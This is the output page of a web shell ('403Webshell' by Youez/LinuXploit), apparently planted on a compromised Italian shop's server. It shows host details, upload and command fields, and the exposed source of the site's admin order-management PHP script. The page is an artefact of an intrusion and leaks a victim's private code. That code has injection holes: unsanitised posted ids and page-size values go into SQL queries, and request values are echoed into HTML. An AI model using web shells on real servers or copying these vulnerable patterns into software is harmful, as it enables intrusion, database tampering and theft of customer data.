403Webshell
Server IP : 89.46.109.6  /  Your IP : 216.73.216.84
Web Server : Apache
System : Linux hlpi1ws-c284v20.ad.aruba.it 6.8.0-139-generic #139-Ubuntu SMP PREEMPT_DYNAMIC Sat Aug 1 03:52:05 UTC 2026 x86_64
User : ID19067310 ( 19067310)
PHP Version : 5.3.29
Disable Function : system,popen,dl,passthru,proc_open,shell_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /web/htdocs/www.edizacco.it/home/pannello/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /web/htdocs/www.edizacco.it/home/pannello/gestione_ordini.php
<?php 
ob_start();
@session_start();
require_once('../include/connect_db.php');
require_once('include/templates.php');
include('include/sessione.inc.php');
require_once 'include/class.ycpager.php';
$meta_title = TITLE;
$_SESSION['page'] = "ordini";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title><?php echo"$meta_title | Area Riservata"; ?></title>
<link href="css/master.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="ckeditor/ckeditor.js"></script>
<link href="css/paginazione.css" rel="stylesheet" type="text/css" />
<script type="text/javascript">
function checkUncheck(check)
{            
    var checks = document.getElementsByName('check[]');
    for(i = 0; i < checks.length; i++)
    {    
        checks[i].checked = check.checked;                
    }
}
</script>

<link rel="stylesheet" href="js/sortable_table/themes/style.css" type="text/css" media="print, projection, screen" />
<script type="text/javascript" src="js/sortable_table/js/jquery-latest.js"></script> 
<script type="text/javascript" src="js/sortable_table/js/jquery.tablesorter.js"></script> 
	<script type="text/javascript">
	$(function() {		
		$(document).ready(function() { $("table").tablesorter({ widgets: ['zebra'], headers: { 0: { sorter: false }, 1: { sorter: false }, 4: { sorter: false }, 5: { sorter: false } } }); });
	});	
	</script>
<script type="text/javascript">
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
</script>

</head>

<body>
<!-- WRAPPER INIZIO -->
<div id="wrapper">

	<!-- WRAPPER HEADER INIZIO-->
	<div id="wrapper_header">
		<div id="header"><?php select_header(); ?></div>
	</div>
	<!-- WRAPPER HEADER FINE-->

	<!-- WRAPPER CONTAINER INIZIO-->
	<div id="wrapper_container">
	
		<!-- MENU INIZIO-->
		<div id="menu"><?php select_menu(); ?></div>
		<!-- MENU FINE-->
		
		<!-- CONTENUTI INIZIO-->
		<div id="contenuto">
<?php
// GESTIONE PAGINA
if ( isset($_REQUEST['action']) ) {	$action = $_REQUEST['action']; } else {	$action = "ordini"; }
				
switch ($action) {
	case 'ordini': ordini(); break;
	case 'ordine': ordine(); break;
	case 'evadere': evadere(); break;
	case 'delete': delete(); break;
	default: ordini(); break;
}
///////////////////////////////////////////////////////////////////////////////////////////
/// ORDINI //////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////
function ordini(){
	$prefix = PREFIX;
	$server = SERVER;
	$tipo = $_REQUEST['tipo'];
	$pages = $_REQUEST['pages'];
	
	if( $tipo == 'ordini' ){
		$active_tutte = ' active'; $active_attive = ''; 
		$where = "WHERE evaso = '0'";
		$tag_h1 = "<b>ORDINI NON EVASI</B>";
	}elseif( $tipo == 'evasi' ){
		$active_tutte = ''; $active_attive = ' active'; 
		$where = "WHERE evaso = '1'";
		$tag_h1 = "<b>ORDINI EVASI</B>";
	}
	$total = mysql_query( "SELECT id_ordine FROM ".$prefix."_prodotti_ordini $where ");
	$numero_notizie = mysql_num_rows( $total );
	
	echo'<h1>ELENCO ORDINI > '.$tag_h1.'</h1>';
	echo'
		<div id="submenu">
			<ul id="navsub">
				<li><a href="gestione_ordini.php?tipo=tutte&pages=15" title="RESET ARCHIVIO"><img src="images/btn_reset.png" alt="RESET ARCHIVIO" class="btn_reset"/></a></li>
				<li>
						<form name="form" id="form">
							<label class="label">Visualizza per pagina: </label>
								<select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu(\'parent\',this,0)">
										<option value="gestione_ordini.php?tipo='.$tipo.'&amp;pages=15" ';if($pages=='15'){echo' selected="selected"';}else{echo'';} echo' >15</option>
										<option value="gestione_ordini.php?tipo='.$tipo.'&amp;pages=30" ';if($pages=='30'){echo' selected="selected"';}else{echo'';} echo' >30</option>
										<option value="gestione_ordini.php?tipo='.$tipo.'&amp;pages=50" ';if($pages=='50'){echo' selected="selected"';}else{echo'';} echo' >50</option>
										<option value="gestione_ordini.php?tipo='.$tipo.'&amp;pages=100" ';if($pages=='100'){echo' selected="selected"';}else{echo'';} echo' >100</option>
										<option value="gestione_ordini.php?tipo='.$tipo.'&amp;pages=150" ';if($pages=='150'){echo' selected="selected"';}else{echo'';} echo' >150</option>
							</select>
						</form>
				</li>
				<li><a href="gestione_ordini.php?tipo=ordini&amp;pages='.$pages.'" class="tutte'.$active_tutte.'">ORDINI NON EVASI</a></li>
				<li><a href="gestione_ordini.php?tipo=evasi&amp;pages='.$pages.'" class="attive'.$active_attive.'">ORDINI EVASI</a></li>
				<li class="num">Totale Ordini: <b>'.$numero_notizie.'</b></li>
			</ul>
		</div>
	';	

	if( $numero_notizie > 0 ) {
		$limite = $pages; // NUMERO VISUALIZZAIONI PER PAGINA
		$p = !empty($_GET['p']) ? $_GET['p'] : 1;
		$redirect_to = 'gestione_ordini.php?tipo='.$tipo.'&amp;pages='.$pages.'&amp;'; // NOME PAGINA
		$pager = new YCPager( $p, $numero_notizie, $limite, $redirect_to );
		$offset = $pager->getQueryOffset();
		
		echo'
		<form action="gestione_ordini.php?action=delete" method="post" enctype="multipart/form-data" name="modulo" id="modulo">
			<input name="tipo" type="hidden" value="'.$tipo.'" /><input name="pages" type="hidden" value="'.$pages.'" />
			<table id="tablesorter-demo" class="tablesorter" border="0" cellpadding="0" cellspacing="1">
				<thead>
					<tr> 
						<th width="35" align="center" style="background-image:none; margin:0px;padding:0px;"><input type="checkbox" onclick="checkUncheck(this)" /></td>
						<th width="35" align="center" style="background-image:none; margin:0px;padding:0px;"><img src="images/btn_view.png" alt="DETTAGLI ORDINE"" border="0"/></td>
						<th align="left" axis="number"><b>Data</b></td>
						<th align="left" axis="string"><b>Nome e Cognome</b></td>
						<th align="left" axis="string"><b>Ordine</b></td>
						<th width="140" align="left" axis="string"><b>Pagamento</b></td>
						<th width="120" align="left" style="background-image:none;"><b>Ordine Evaso</b></td>
					</tr> 
				</thead> 
			<tbody>
		';
				
		$carica = mysql_query( "SELECT * FROM ".$prefix."_prodotti_ordini $where ORDER BY id_ordine DESC LIMIT $limite OFFSET $offset ");
		while( $row_carica = mysql_fetch_assoc($carica)) {
			$id_ordine = $row_carica['id_ordine'];
			$data = stripslashes($row_carica['data']);
			$nome = stripslashes($row_carica['nome']);
			$cognome = stripslashes($row_carica['cognome']);
			$somma = stripslashes($row_carica['somma']);
			$spedizione = stripslashes($row_carica['spedizione']);
			$commissione = stripslashes($row_carica['commissione']);
			$totale = stripslashes($row_carica['totale']);
			$stato = $row_carica['stato'];
			$evaso = $row_carica['evaso'];
			$metodo_pagamento = $row_carica['metodo_pagamento'];
			$data = substr($row_carica['data'],8,2).'/'.substr($row_carica['data'],5,2).'/'.substr($row_carica['data'],0,4);
			$ora = substr($row_carica['data'],11,2).':'.substr($row_carica['data'],14,2);

			if ( $spedizione == "Gratuita" ) { $tag_spedizione = "Gratuita"; } else { $tag_spedizione = "$spedizione &euro;"; }
			if ( $commissione == "0.00" ) { $tag_commissione = ""; } else { $tag_commissione = '<b>Commissione:</b> '.$commissione.' &euro;<br />'; }

			$tag_totale = $totale-$spedizione;
			$button_evaso_0 = '<a href="gestione_ordini.php?action=evadere&amp;tipo='.$tipo.'&amp;pages='.$pages.'&amp;id_ordine='.$id_ordine.'" title="ORDINE DA EVADERE"><img src="images/pagamenti/ordine_da_evadere.jpg" alt="ORDINE DA EVADERE" border="0"></a>';
			$button_evaso_1 = '<img src="images/pagamenti/ordine_evaso.jpg" alt="ORDINE EVASO" border="0" title="ORDINE EVASO">';
			$button_attesa = '<img src="images/pagamenti/ordine_in_attesa.jpg" alt="ORDINE IN ATTESA" border="0" title="ORDINE IN ATTESA">';
			
			if( $metodo_pagamento == "paypal" ){
				if( $stato == "0" ){
					$tag_metodo_pagamento = '<img src="images/pagamenti/paypal_attesa.jpg" alt="IN ATTESA DI PAGAMENTO PAYPAL" border="0" title="IN ATTESA DI PAGAMENTO PAYPAL">';
					$tag_evaso = $button_attesa;
				}elseif( $stato == "1" ){
					$tag_metodo_pagamento = '<img src="images/pagamenti/paypal_pagato.jpg" alt="PAGATO CON PAYPAL" border="0" title="PAGATO CON PAYPAL">';
					if( $evaso == "0" ){ $tag_evaso = $button_evaso_0; }elseif( $evaso == "1" ){ $tag_evaso = $button_evaso_1; }
				}
				
			}elseif( $metodo_pagamento == "postepay" ) {
				$tag_metodo_pagamento = '<img src="images/pagamenti/postepay.jpg" alt="PAGAMENTO TRAMITE POSTEPAY" border="0" title="PAGAMENTO TRAMITE POSTEPAY">';
				if( $evaso == "0" ){ $tag_evaso = $button_evaso_0; }elseif( $evaso == "1" ){ $tag_evaso = $button_evaso_1; }

			}elseif( $metodo_pagamento == "contrassegno" ) {
				$tag_metodo_pagamento = '<img src="images/pagamenti/contrassegno.jpg" alt="PAGAMENTO TRAMITE CONTRASSEGNO" border="0" title="PAGAMENTO TRAMITE CONTRASSEGNO">';
				if( $evaso == "0" ){ $tag_evaso = $button_evaso_0; }elseif( $evaso == "1" ){ $tag_evaso = $button_evaso_1; }

			}elseif ( $metodo_pagamento == "bonifico" ) {
				$tag_metodo_pagamento = '<img src="images/pagamenti/bonifico_bancario.jpg" alt="PAGAMENTO TRAMITE BONIFICO BANCARIO" border="0" title="PAGAMENTO TRAMITE BONIFICO BANCARIO">';
				if( $evaso == "0" ){ $tag_evaso = $button_evaso_0; }elseif( $evaso == "1" ){ $tag_evaso = $button_evaso_1; }
			}
			
			
			echo'
				<tr id="'.$id_ordine.'" >
					<td align="center"><input type="checkbox" name="check[]" value="'.$id_ordine.'" style="margin:3px 3px 3px 3px;"/></td>
					<td align="center">
						<a href="gestione_ordini.php?action=ordine&amp;tipo='.$tipo.'&amp;pages='.$pages.'&amp;id_ordine='.$id_ordine.'" title="DETTAGLI ORDINE"><img src="images/btn_view.png" alt="DETTAGLI ORDINE"" border="0"/></a>
					</td>
					<td>'.$data.'<br />'.$ora.'</td>
					<td>'.$nome.' '.$cognome.'</td>
					<td>
						<b>Ordine:</b> '.$somma.' &euro;<br />
						<b>Spedizione:</b> '.$tag_spedizione.' <br />
						'.$tag_commissione.'
						<hr style="height:1px; margin:0; padding:0;">
						<span style="color:#000;"><b>Totale: '.$totale.' &euro;</b></span>
					</td>
					<td>'.$tag_metodo_pagamento.'</td>
					<td>'.$tag_evaso.'</td>
				</tr>
			';
		}
				
		echo'
				</tbody>
				<tfoot>
					<tr>
						<th align="center" colspan="2"><input type="submit" name="submit" id="submit" value="ELIMINA" /></td>
						<th align="left"><b>Data</b></td>
						<th align="left"><b>Nome e Cognome</b></td>
						<th align="left"><b>Ordine</b></td>
						<th align="left"><b>Pagamento</b></td>
						<th align="left"><b>Ordine Evaso</b></td>
					</tr>
				</tfoot>
			 </table>
		</form>	
		';
		if ( $numero_notizie > $limite ) { $pager->getPager(); }else{ echo''; }
	}else{ echo'<p>Non esiste nessun ordine nell\'archivio!</p>'; }
}
///////////////////////////////////////////////////////////////////////////////////////////
/// ORDINE ////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////
function ordine(){
	$prefix = PREFIX;
	$server = SERVER;
	$tipo = $_REQUEST['tipo'];
	$pages = $_REQUEST['pages'];
	$id_ordine = isset($_GET['id_ordine']) ? (int)$_GET['id_ordine'] : 0;
	$carica_ordine = mysql_fetch_assoc(mysql_query("SELECT * FROM ".$prefix."_prodotti_ordini WHERE id_ordine = '$id_ordine'"));
	$carica_provincia = mysql_fetch_assoc(mysql_query("SELECT * FROM ".$prefix."_provincie WHERE id_provincia = '".$carica_ordine['id_provincia']."'"));
	$carica_regione = mysql_fetch_assoc(mysql_query("SELECT * FROM ".$prefix."_regioni WHERE id_regione = '".$carica_ordine['id_regione']."'"));
		if( $carica_ordine['spedizione'] == "Gratuita" ){ $tag_spedizione = "Gratuita"; }else{ $tag_spedizione = ''.$carica_ordine['spedizione'].' &euro;'; }
		if( $carica_ordine['commissione'] == "0.00" ){ $tag_commissione = ""; }else{ 
		$tag_commissione = '
			<tr class="totale">
				<td align="right" colspan="3">+ Spese di Commissione:&nbsp;</td>
				<td class="prezzo_totale">'.$carica_ordine['commissione'].' &euro;</td>
				<td align="center"><img src="images/carrello_totale.png" alt="Totale" class="cart_totale" /></td>
			</tr>
		'; }

	$data = substr($carica_ordine['data'],8,2).'/'.substr($carica_ordine['data'],5,2).'/'.substr($carica_ordine['data'],0,4);
	$ora = substr($carica_ordine['data'],11,2).':'.substr($carica_ordine['data'],14,2);

	echo'<h1>ORDINE N°: '.$id_ordine.' > <b>'.stripslashes($carica_ordine['cognome']).' '.stripslashes($carica_ordine['nome']).'</b></h1>';
	echo'
		<p>Ordine effettuato in data '.$data.' alle ore '.$ora.'</p>
		<table border="0" cellpadding="0" cellspacing="1" id="carrello"  align="center">
			<tr class="intestazione">
				<td width="440">&nbsp;Prodotti scelti:</td>
				<td width="45" align="center">Q.t&Agrave;</td>
				<td width="140" align="center">Prezzo unitario</td>
				<td colspan="2" align="center">Prezzo</td>
			</tr>
			'.stripslashes($carica_ordine['ordine']).'
			<tr>
				<td colspan="5"><div class="sep"></div></td>
			</tr>
			<tr class="totale">
				<td align="right" colspan="3">+ Spese di Spedizioni:&nbsp;</td>
				<td class="prezzo_totale">'.$tag_spedizione.'</td>
				<td align="center"><img src="images/carrello_totale.png" alt="Totale" class="cart_totale" /></td>
			</tr>
			'.$tag_commissione.'
			<tr>
				<td colspan="5"><div class="sep"></div></td>
			</tr>
			<tr class="totale_finale">
				<td align="right" colspan="3">Totale Ordine:&nbsp;</td>
				<td class="prezzo_totale_finale">'.stripslashes($carica_ordine['totale']).'&nbsp;&euro;</td>
				<td align="center"><img src="images/carrello_finale.png" alt="Totale" class="cart_totale" /></td>
			</tr>
			<tr>
				<td colspan="5"><div class="sep"></div></td>
			</tr>
			<tr>
				<td colspan="5"><p><b>Dati per la spedizione:</b> '.stripslashes($carica_ordine['nome']).' '.stripslashes($carica_ordine['cognome']).'<br/>
					<b>Indirizzo:</b> '.stripslashes($carica_ordine['indirizzo']).', '.stripslashes($carica_ordine['nc']).' - '.stripslashes($carica_ordine['cap']).' '.stripslashes($carica_ordine['citta']).' ('.$carica_provincia['valore'].') '.$carica_regione['regione'].'<br/>
					</p>
					<p>Dati per Contattare l\'utente:<br/>
					<b>Telefono/Fax:</b> '.stripslashes($carica_ordine['telefono']).'<br/>
					<b>E-mail:</b> '.stripslashes($carica_ordine['email']).'<br/>
					<br/>		
					<b>Note:</b> '.stripslashes($carica_ordine['note']).'</p>
				</td>
			</tr>
			<tr>
				<td colspan="5">&nbsp;</td>
			</tr>
		</table>
	';	
	echo'<p class="back_style"><a href="gestione_ordini.php?tipo='.$tipo.'&amp;pages='.$pages.'" class="back_button">Torna Indietro</a></p>';
}
///////////////////////////////////////////////////////////////////////////////////////////
/// EVADERE ///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////
function evadere(){
	$prefix = PREFIX;
	$server = SERVER;
	$tipo = $_REQUEST['tipo'];
	$pages = $_REQUEST['pages'];
	$id_ordine = isset($_GET['id_ordine']) ? (int)$_GET['id_ordine'] : 0;
	echo'<h1>GESTIONE ORDINI > EVADERE N° ORDINE > <b>'.$id_ordine.'</b></h1>';
	$evadere = "UPDATE ".$prefix."_prodotti_ordini SET evaso = '1', stato = '1' WHERE id_ordine = '$id_ordine'";
	if(mysql_query($evadere)){ echo status_ok(); }else{ echo status_errore(); }
	header('Refresh: 2; URL=gestione_ordini.php?tipo='.$tipo.'&pages='.$pages.'');
	ob_end_flush();
}
///////////////////////////////////////////////////////////////////////////////////////////
/// DELETE ////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////
function delete(){
	$prefix = PREFIX;
	$server = SERVER;
	$tipo = $_POST['tipo'];
	$pages = $_POST['pages'];
	
		$count = count($_POST['check'.$i]);
		if (isset($_POST['check'.$i])) {
			$error = "";
			foreach ($_POST['check'.$i++] as $_POST['check'.$i]) {
				if ( empty($error) ) {
					$id_ordine = $_POST['check'.$i];
					$delete_ordine = "DELETE FROM ".$prefix."_prodotti_ordini WHERE id_ordine = '$id_ordine'" ;
					if(mysql_query($delete_ordine)){  }else{ echo status_errore(); }
	
				} else {
						die($error);
				}
			}
		} 

	header("Location: gestione_ordini.php?tipo=$tipo&pages=$pages");
	ob_end_flush();
}
?>
		</div>
		<!-- CONTENUTI FINE-->
	</div>
	<!-- WRAPPER CONTAINER FINE-->

	<div class="push"></div>
</div>
<!-- WRAPPER FINE -->


<!-- WRAPPER FOOTER INIZIO-->
<div id="wrapper_footer"><?php select_footer(); ?></div>
<!-- WRAPPER FOOTER FINE-->

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit